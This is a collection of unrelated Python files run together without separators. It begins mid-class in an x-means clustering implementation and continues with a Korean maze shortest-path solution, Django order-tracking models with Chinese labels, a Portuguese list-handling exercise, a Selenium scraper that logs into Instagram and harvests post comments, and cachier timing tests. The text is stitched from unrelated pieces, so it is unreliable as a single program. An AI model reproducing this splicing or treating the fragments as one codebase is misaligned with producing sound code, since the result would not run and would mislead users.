        return optimal_clusters, optimal_centers, optimal_wce

    def __improve_parameters(self, centers, available_indexes=None):
        """!
        @brief Performs k-means clustering in the specified region.

        @param[in] centers (list): Cluster centers, if None then automatically generated two centers using center initialization method.
        @param[in] available_indexes (list): Indexes that defines which points can be used for k-means clustering, if None then all points are used.

        @return (tuple) List of allocated clusters, list of centers and total WCE (clusters, centers, wce).

        """

        if available_indexes and len(available_indexes) == 1:
            index_center = available_indexes[0]
            return [available_indexes], self.__pointer_data[index_center], 0.0

        local_data = self.__pointer_data
        if available_indexes:
            local_data = [self.__pointer_data[i] for i in available_indexes]

        local_centers = centers
        if centers is None:
            clusters, local_centers, local_wce = self.__search_optimial_parameters(local_data)
        else:
            kmeans_instance = kmeans(local_data, local_centers, tolerance=self.__tolerance, ccore=False, metric=self.__metric).process()

            local_wce = kmeans_instance.get_total_wce()
            local_centers = kmeans_instance.get_centers()
            clusters = kmeans_instance.get_clusters()

        if available_indexes:
            clusters = self.__local_to_global_clusters(clusters, available_indexes)

        return clusters, local_centers, local_wce

    def __local_to_global_clusters(self, local_clusters, available_indexes):
        """!
        @brief Converts clusters in local region define by 'available_indexes' to global clusters.

        @param[in] local_clusters (list): Local clusters in specific region.
        @param[in] available_indexes (list): Map between local and global point's indexes.

        @return Global clusters.

        """

        clusters = []
        for local_cluster in local_clusters:
            current_cluster = []
            for index_point in local_cluster:
                current_cluster.append(available_indexes[index_point])

            clusters.append(current_cluster)

        return clusters

    def __improve_structure(self, clusters, centers):
        """!
        @brief Check for best structure: divides each cluster into two and checks for best results using splitting criterion.

        @param[in] clusters (list): Clusters that have been allocated (each cluster contains indexes of points from data).
        @param[in] centers (list): Centers of clusters.

        @return (list) Allocated centers for clustering.

        """

        allocated_centers = []
        amount_free_centers = self.__kmax - len(centers)

        for index_cluster in range(len(clusters)):
            # solve k-means problem for children where data of parent are used.
            (parent_child_clusters, parent_child_centers, _) = self.__improve_parameters(None, clusters[index_cluster])

            # If it's possible to split current data
            if len(parent_child_clusters) > 1:
                # Calculate splitting criterion
                parent_scores = self.__splitting_criterion([clusters[index_cluster]], [centers[index_cluster]])
                child_scores = self.__splitting_criterion([parent_child_clusters[0], parent_child_clusters[1]], parent_child_centers)

                split_require = False

                # Reallocate number of centers (clusters) in line with scores
                if self.__criterion == splitting_type.BAYESIAN_INFORMATION_CRITERION:
                    if parent_scores < child_scores:
                        split_require = True

                elif self.__criterion == splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH:
                    # If its score for the split structure with two children is smaller than that for the parent structure,
                    # then representing the data samples with two clusters is more accurate in comparison to a single parent cluster.
                    if parent_scores > child_scores:
                        split_require = True

                if (split_require is True) and (amount_free_centers > 0):
                    allocated_centers.append(parent_child_centers[0])
                    allocated_centers.append(parent_child_centers[1])

                    amount_free_centers -= 1
                else:
                    allocated_centers.append(centers[index_cluster])

            else:
                allocated_centers.append(centers[index_cluster])

        return allocated_centers

    def __splitting_criterion(self, clusters, centers):
        """!
        @brief Calculates splitting criterion for input clusters.

        @param[in] clusters (list): Clusters for which splitting criterion should be calculated.
        @param[in] centers (list): Centers of the clusters.

        @return (double) Returns splitting criterion. High value of splitting criterion means that current structure is
                 much better.

        @see __bayesian_information_criterion(clusters, centers)
        @see __minimum_noiseless_description_length(clusters, centers)

        """

        if self.__criterion == splitting_type.BAYESIAN_INFORMATION_CRITERION:
            return self.__bayesian_information_criterion(clusters, centers)

        elif self.__criterion == splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH:
            return self.__minimum_noiseless_description_length(clusters, centers)

        else:
            assert 0

    def __minimum_noiseless_description_length(self, clusters, centers):
        """!
        @brief Calculates splitting criterion for input clusters using minimum noiseless description length criterion.

        @param[in] clusters (list): Clusters for which splitting criterion should be calculated.
        @param[in] centers (list): Centers of the clusters.

        @return (double) Returns splitting criterion in line with bayesian information criterion.
                Low value of splitting cretion means that current structure is much better.

        @see __bayesian_information_criterion(clusters, centers)

        """

        score = float('inf')

        W = 0.0
        K = len(clusters)
        N = 0.0

        sigma_square = 0.0

        alpha = self.__alpha
        alpha_square = alpha * alpha
        beta = self.__beta

        for index_cluster in range(0, len(clusters), 1):
            Ni = len(clusters[index_cluster])
            if Ni == 0:
                return float('inf')

            Wi = 0.0
            for index_object in clusters[index_cluster]:
                Wi += self.__metric(self.__pointer_data[index_object], centers[index_cluster])

            sigma_square += Wi
            W += Wi / Ni
            N += Ni

        if N - K > 0:
            sigma_square /= (N - K)
            sigma = sigma_square ** 0.5

            Kw = (1.0 - K / N) * sigma_square
            Ksa = (2.0 * alpha * sigma / (N ** 0.5)) * (alpha_square * sigma_square / N + W - Kw / 2.0) ** 0.5
            UQa = W - Kw + 2.0 * alpha_square * sigma_square / N + Ksa

            score = sigma_square * K / N + UQa + sigma_square * beta * ((2.0 * K) ** 0.5) / N

        return score

    def __bayesian_information_criterion(self, clusters, centers):
        """!
        @brief Calculates splitting criterion for input clusters using bayesian information criterion.

        @param[in] clusters (list): Clusters for which splitting criterion should be calculated.
        @param[in] centers (list): Centers of the clusters.

        @return (double) Splitting criterion in line with bayesian information criterion.
                High value of splitting criterion means that current structure is much better.

        @see __minimum_noiseless_description_length(clusters, centers)

        """

        scores = [float('inf')] * len(clusters)     # splitting criterion
        dimension = len(self.__pointer_data[0])

        # estimation of the noise variance in the data set
        sigma_sqrt = 0.0
        K = len(clusters)
        N = 0.0

        for index_cluster in range(0, len(clusters), 1):
            for index_object in clusters[index_cluster]:
                sigma_sqrt += self.__metric(self.__pointer_data[index_object], centers[index_cluster])

            N += len(clusters[index_cluster])

        if N - K > 0:
            sigma_sqrt /= (N - K)
            p = (K - 1) + dimension * K + 1

            # in case of the same points, sigma_sqrt can be zero (issue: #407)
            sigma_multiplier = 0.0
            if sigma_sqrt <= 0.0:
                sigma_multiplier = float('-inf')
            else:
                sigma_multiplier = dimension * 0.5 * log(sigma_sqrt)

            # splitting criterion
            for index_cluster in range(0, len(clusters), 1):
                n = len(clusters[index_cluster])

                L = n * log(n) - n * log(N) - n * 0.5 * log(2.0 * numpy.pi) - n * sigma_multiplier - (n - K) * 0.5

                # BIC calculation
                scores[index_cluster] = L - p * 0.5 * log(N)

        return sum(scores)

    def __verify_arguments(self):
        """!
        @brief Verify input parameters for the algorithm and throw exception in case of incorrectness.

        """
        if len(self.__pointer_data) == 0:
            raise ValueError("Input data is empty (size: '%d')." % len(self.__pointer_data))

        if len(self.__centers) == 0:
            raise ValueError("Initial centers are empty (size: '%d')." % len(self.__pointer_data))

        if self.__tolerance < 0:
            raise ValueError("Tolerance (current value: '%d') should be greater or equal to 0." %
                             self.__tolerance)

        if self.__repeat <= 0:
            raise ValueError("Repeat (current value: '%d') should be greater than 0." %
                             self.__repeat)

        if self.__alpha < 0.0 or self.__alpha > 1.0:
            raise ValueError("Parameter for the probabilistic bound Q(alpha) should in the following range [0, 1] "
                             "(current value: '%f')." % self.__alpha)

        if self.__beta < 0.0 or self.__beta > 1.0:
            raise ValueError("Parameter for the probabilistic bound Q(beta) should in the following range [0, 1] "
                             "(current value: '%f')." % self.__beta)


# 미로만들기

import sys
import heapq

input = sys.stdin.readline
N = int(input())

# 미로 생성
maze = [list(map(int, list(input().rstrip()))) for _ in range(N)]

# 미로를 탐색할 큐를 생성
queue = [[0, 0, 0]]

# 방문처리할 리스트 NxN
visited = [[False for _ in range(N)] for _ in range(N)]

# 상하좌우 4방향
direction = [(1, 0), (0, -1), (-1, 0), (0, 1)]

while queue:
    cost, r, c = heapq.heappop(queue)

    # 도착지면 출력 후 프로그램 종료
    if r == N - 1 and c == N - 1:
        print(cost)
        exit(0)

    # 상하좌우 4방향 탐색 (인덱스 초과, 방문 했는지 검사)
    for d in direction:
        next_r = r + d[0]
        next_c = c + d[1]
        if 0 <= next_r < N and 0 <= next_c < N and not visited[next_r][next_c]:
            # 흰 방, 검은 방 종류에 따라 가중치 0 or 1로 설정
            next_cost = 0 if maze[next_r][next_c] == 1 else 1
            visited[next_r][next_c] = True
            heapq.heappush(queue, [cost + next_cost, next_r, next_c])


from django.contrib.auth.models import User
from django.db import models

# Create your models here.
from django.db.models.signals import pre_delete
from django.dispatch import receiver

class CommonInfo(models.Model):
    # 开始时间 auto_now_add=True,
    startday = models.DateField(verbose_name="下单时间", null=True)
    # 结束时间
    endday = models.DateField(verbose_name="交货时间", null=True)
    # 备注
    remark = models.TextField(default="", verbose_name="备注")

    status_choice = (
        ('pending', "未开始"),
        ('process', "进行中"),
        ('finish', "已完成")
    )
    status = models.CharField(
        max_length=10,
        choices=status_choice,
        default='pending',
        verbose_name="订单状态",
    )

    class Meta:
        abstract = True

class Productplan(CommonInfo):
    # 订单号
    orderid = models.CharField(max_length=10, verbose_name="订单号")
    # 订单分类
    category_choice = (
        ('std', "标准"),
        ('unstd', "非标")
    )
    category = models.CharField(
        max_length=5,
        choices=category_choice,
        default='std',
        verbose_name="订单类型",
    )
    # 型号
    productid = models.CharField(max_length=20, verbose_name="产品型号")
    # 序列号
    serial = models.CharField(max_length=20, verbose_name="序列号")
    # 用户
    customer = models.CharField(max_length=20, verbose_name="用户")
    # 配置单
    conffile = models.FileField(upload_to='service_files/%Y%m%d/', blank=True)
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    def __str__(self):
        return self.customer + "_SN" + self.serial

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "订单管理"

@receiver(pre_delete, sender=Productplan)
def delete(sender, instance, **kwargs):
    instance.conffile.delete(False)

class ProcessElPrepare(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='proel',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "电路板准备"

class ProcessMePrepare(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='prome',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "机械件准备"

class ProcessScPrepare(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='prosc',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "干涉仪准备"

class ProcessAssemble(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='proas',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "装配中"

class ProcessTesting(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='prots',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "测试中"

    def __str__(self):
        return self.orderid.customer

# 添加软件状态
class ProcessSoftware(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='prosw',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "软件"

    def __str__(self):
        return self.orderid.customer

# 添加付款状态
class ProcessPayment(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='propm',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "付款"

    def __str__(self):
        return self.orderid.customer

# 添加发货状态
class ProcessDeliver(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='prodi',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "发货"

    def __str__(self):
        return self.orderid.customer

# 添加开票状态
class ProcessBilling(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='probi',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "开票"

    def __str__(self):
        return self.orderid.customer

# 添加尾款状态
class ProcessDueing(CommonInfo):
    orderid = models.OneToOneField(
        Productplan,
        on_delete=models.CASCADE,
        related_name='produe',
        primary_key=True
    )
    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "尾款"

    def __str__(self):
        return self.orderid.customer

class ProductHistory(models.Model):
    # 操作者
    user = models.ForeignKey(
        User,
        null=True,
        blank=True,
        on_delete=models.SET_NULL,
        related_name='user'
    )
    # 订单
    orderid = models.ForeignKey(
        Productplan,
        verbose_name="订单号",
        on_delete=models.CASCADE,
        related_name='product_history',
        primary_key=False
    )
    # 操作项目
    proitem = models.CharField(max_length=10, verbose_name="操作项目")
    # 新内容
    newcontent = models.CharField(max_length=10, verbose_name="新内容")
    # 操作时间
    operateday = models.DateTimeField(verbose_name="操作时间", null=True)

    # 更新时间
    updated = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ('-updated',)
        verbose_name_plural = "订单历史"

    def __str__(self):
        return self.orderid.customer


n = ['casa','branco','verde']
for ordem,lista in enumerate(n): #
    print(f'{ordem+1}° {lista}' ,end=(' '))
print()
lanche = ["X,Salada","Hot Dog","Misto Quente","Coca Cola","Pastel",]
lanche.append("Bacon") #Adcionar
lanche.sort() #Organizar (ordem alfabética)
lanche.sort(reverse=True) #Organiza Inverso
lanche.insert(3,"Calabresa") #Inseri na posição algo
#lanche.pop(1) #Remove o último caracter
#lanche.remove("Misto Quente")
print(len(lanche))
print(lanche)
for d in range(0,4):
    lanche.append(str(input("O que quer acrescentar? ")))
for c,d in enumerate(lanche):
    print(f"No cardapio comprei {d.strip()} que era o {c} da lista")

a = [2,3,4,7]
b = a[:] #CÓPIA
b[2] = 8 #Substituiu o 4 por 8
print(f"Lista A: {a}")
print(f"Lista B: {b}")


""" Comments scraper class"""
import json
import logging
import random
from time import sleep

import numpy as np
import pandas as pd
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait

from scripts.argparser import ArgParser
from scripts.auxiliary.scraper_aux import check_or_create_folders, save
from scripts.chrome_driver import ChromeDriver

logging.basicConfig(
    format="%(asctime)s | %(levelname)s: %(message)s", level=logging.CRITICAL
)

class CommentsScraper:
    def __init__(self):
        pass

    @staticmethod
    def iterate(args, ttw, driver):
        # ~ 24 comments loaded each iteration
        check = True
        MAX_ITER = int(args.max_iterations)
        n = 0

        while check and n <= MAX_ITER:
            sleep(int(random.choice(ttw)))

            try:
                load_more_comments_button = WebDriverWait(driver, 5).until(
                    EC.visibility_of_element_located(
                        (By.CSS_SELECTOR, "[aria-label='Load more comments']")
                    )
                )
                load_more_comments_button.click()
            except:
                check = False
                if n == MAX_ITER:
                    logging.warning(
                        "Reached the max iterations number before exhausting the post comments. \
                            You may consider to raise the max iterations number"
                    )
                else:
                    logging.info("Exhausted all the post comments")
            n = n + 1

    @classmethod
    def setup(self):
        argparser = ArgParser()
        chrome_driver = ChromeDriver()
        proxy = chrome_driver.set_up_proxy()

        args = argparser.likes_scraper_read_input()

        driver = chrome_driver.set_up_driver(proxy=proxy)
        driver = chrome_driver.make_IG_access_w_creds(
            driver=driver, ig_usr=args.username, ig_pass=args.password
        )
        return driver, proxy, args

    @classmethod
    def scrape(self, driver, proxy, args, save_raw_data=bool, **kwargs):

        if "target_post" in kwargs:
            proxy.new_har(
                kwargs.get("target_post"),
                options={"captureHeaders": True, "captureContent": True},
            )
            driver.get(kwargs.get("target_post"))
            target = kwargs.get("target_post")
        else:
            proxy.new_har(
                args.target_post,
                options={"captureHeaders": True, "captureContent": True},
            )
            driver.get(args.target_post)
            target = args.target_post

        # Random time intervals to sleep between load more comment button pushes
        ttw = []
        for i in range(0, 20):
            ttw.append(np.round(random.uniform(4, 8), 2))

        # ~ 24 comments loaded each iteration
        CommentsScraper.iterate(args=args, ttw=ttw, driver=driver)

        R = json.loads(json.dumps(proxy.har, ensure_ascii=False))

        if save_raw_data:
            save(data=R, target=target, args=args)

        return R

    @classmethod
    def parse_and_save_data(self, raw_data, args, target):
        "Parse raw scraped data and write to disk"

        RAW = {}
        for n, v in enumerate(raw_data["log"]["entries"]):
            if v["response"]["content"]["mimeType"] in [
                "application/json; charset=utf-8",
                "application/json",
            ]:
                try:
                    RAW[n] = json.loads(v["response"]["content"]["text"])["comments"]
                except:
                    pass

        comments_df = pd.DataFrame.from_dict(RAW[list(RAW.keys())[0]])

        for k in list(RAW.keys())[1:]:
            comments_df = pd.concat([comments_df, pd.DataFrame.from_dict(RAW[k])])

        comments_df = comments_df.reset_index(drop=True)

        check_or_create_folders(target=target, args=args)

        short_code = target.split("/")[-1]

        # TODO FIX get the profile name from somewhere and create the correct folder!
        comments_df.to_csv(
            f"{args.output_folder}/{short_code}_comments_clean.csv", mode="w+"
        )
        logging.info("Data correctly saved/overwrote.")
        # print(f'Dave saved in: {f"{args.output_folder}_{short_code}_comments_clean.csv"}')
        return comments_df


from random import random
from time import time

from cachier import cachier

@cachier(next_time=True)
def _test_int_pickling(int_1, int_2):
    """Add the two given ints."""
    return int_1 + int_2

def _test_int_pickling_compare(int_1, int_2):
    """Add the two given ints."""
    return int_1 + int_2

def test_pickle_speed():
    """Test speeds"""
    print("Comparing speeds of decorated vs non-decorated functions...")
    num_of_vals = 1000
    times = []
    for i in range(1, num_of_vals):
        tic = time()
        _test_int_pickling_compare(i, i + 1)
        toc = time()
        times.append(toc - tic)
    print('  - Non-decorated average = {:.8f}'.format(
        sum(times) / num_of_vals))

    _test_int_pickling.clear_cache()
    times = []
    for i in range(1, num_of_vals):
        tic = time()
        _test_int_pickling(i, i + 1)
        toc = time()
        times.append(toc - tic)
    print('  - Decorated average = {:.8f}'.format(
        sum(times) / num_of_vals))

@cachier()
def _test_single_file_speed(int_1, int_2):
    """Add the two given ints."""
    # something that takes some memory
    return [random() for _ in range(1000000)]

@cachier(separate_files=True)
def _test_separate_files_speed(int_1, int_2):
    """Add the two given ints."""
    # something that takes some memory
    return [random() for _ in range(1000000)]

def test_separate_files_vs_single_file():
    _test_separate_files_speed.clear_cache()
    _test_single_file_speed.clear_cache()
    start_time = time()
    for i in range(3):
        for j in range(10):
            _test_separate_files_speed(j, 2)
    print(f'separate files time: {time() - start_time}')
    start_time = time()
    for i in range(3):
        for j in range(10):
            _test_single_file_speed(j, 2)
    print(f'single file time: {time() - start_time}')

if __name__ == '__main__':
    test_pickle_speed()